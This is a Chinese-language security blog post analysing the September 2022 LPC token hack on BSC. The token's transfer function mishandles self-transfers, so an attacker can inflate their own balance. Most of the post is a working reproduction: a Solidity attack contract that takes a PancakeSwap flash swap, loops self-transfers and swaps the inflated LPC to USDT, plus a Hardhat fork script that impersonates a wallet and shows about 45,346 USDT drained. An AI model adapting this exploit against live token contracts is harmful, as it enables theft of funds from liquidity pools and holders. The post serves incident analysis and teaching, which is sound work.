LPC攻击事件分析与复现

2022-09-22
#区块链安全

简述

部署在bsc上的token合约在transfer时由于没有更新账本导致被攻击损失$4w

分析

攻击者地址：0xd9936ea91a461aa4b727a7e3661bcd6cd257481c

被攻击合约：0x1E813fA05739Bf145c1F182CB950dA7af046778d

攻击hash：https://bscscan.com/tx/0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c

漏洞成因

在进行转账时，自己转给自己 记账的时候 _balances[sender] 已经减了，_balances[recipient] 没有在原来的账本上加 recipientBalance 是一个非0值，因此导致攻击者自己转给自己时 余额一直在增加。

image-20220922133529078

image-20220922134033822

image-20220922134105331

漏洞复现

使用hardhat fork bsc 19852598 区块

攻击合约
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pragma solidity 0.8.10;

import "hardhat/console.sol";

interface IERC20{
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external ;
    function approve(address spender, uint256 amount) external;// returns (bool);
}

interface IpancakePair{
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
    function getReserves()external view returns (
        uint112 _reserve0,
        uint112 _reserve1,
        uint32 _blockTimestampLast
  );
}

interface IpancakeRouter{
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] memory path,
    address to,
    uint256 deadline
  ) external;
}


contract attack{

    IpancakePair pair = IpancakePair(0x2ecD8Ce228D534D8740617673F31b7541f6A0099);
    IERC20 lpc = IERC20(0x1E813fA05739Bf145c1F182CB950dA7af046778d);
    IpancakeRouter router = IpancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address usdt = 0x55d398326f99059fF775485246999027B3197955;
    address owner;

    constructor(){
        owner = msg.sender;
    }
    
    modifier onlyOwner{
        require(msg.sender == owner,"not owner");
        _;
    }


    function flashloan() public onlyOwner{
        (uint256 lpcreserves, ,) =  pair.getReserves();
        uint256 lpcbalance = lpc.balanceOf(address(pair));
        console.log("lpcreserves balance is:",lpcreserves);
        console.log("lpcbalance balance is:",lpcbalance);
        console.log("start flashloan");
        pair.swap(
            lpcreserves-1,
            // lpcbalance -1,
            0,
            address(this),
            new bytes(1)
        );
        address[] memory path = new address[](2);
        path[0] = address(lpc);
        path[1] = usdt;
        lpc.approve(address(router),type(uint).max);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            lpc.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
        console.log("attack complete lpc balance is:",lpc.balanceOf(address(this))/1e18);
        console.log("attack complete usdt balance is:",IERC20(usdt).balanceOf(address(this))/1e18);


    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data)  external{

        for (uint256 i=0;i<=10;i++){
            uint256 amount = lpc.balanceOf(address(this));
            lpc.transfer(address(this),amount);
        }
        lpc.transfer(address(pair),(amount0*11000)/10000);
        
        
    }

}
攻击脚本
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const hre = require("hardhat")

async function main(){
    const hacker = '0x8894E0a0c962CB723c1976a4421c95949bE2D4E3'  //binance hot wallet
    const usdt = '0x55d398326f99059fF775485246999027B3197955'
    
    await hre.network.provider.request({
        method:'hardhat_impersonateAccount',
        params:[hacker]
    })

    const signer = await hre.ethers.getSigner(hacker)

    //step1 depoly contract
    let ATTACK = await hre.ethers.getContractFactory("attack", signer)
    let usdtContract = await hre.ethers.getContractAt('IBEP20', usdt)
    let attack = await ATTACK.deploy()
    await attack.deployed()
    console.log("attack contrack deployed address is:", attack.address)
    //step2 start attack
    console.log("start attack...")
    await attack.flashloan()
}

main()

结果如下：

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attack contrack deployed address is: 0x2FC7E3F763221ac0eB51e5f0B48884300FC9f554
start attack...
lpcreserves balance is: 1504334223108233128743201
lpcbalance balance is: 1504334223108233128743201
start flashloan
attack complete lpc balance is: 0
attack complete usdt balance is: 45346

参考链接

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/LPC.exp.sol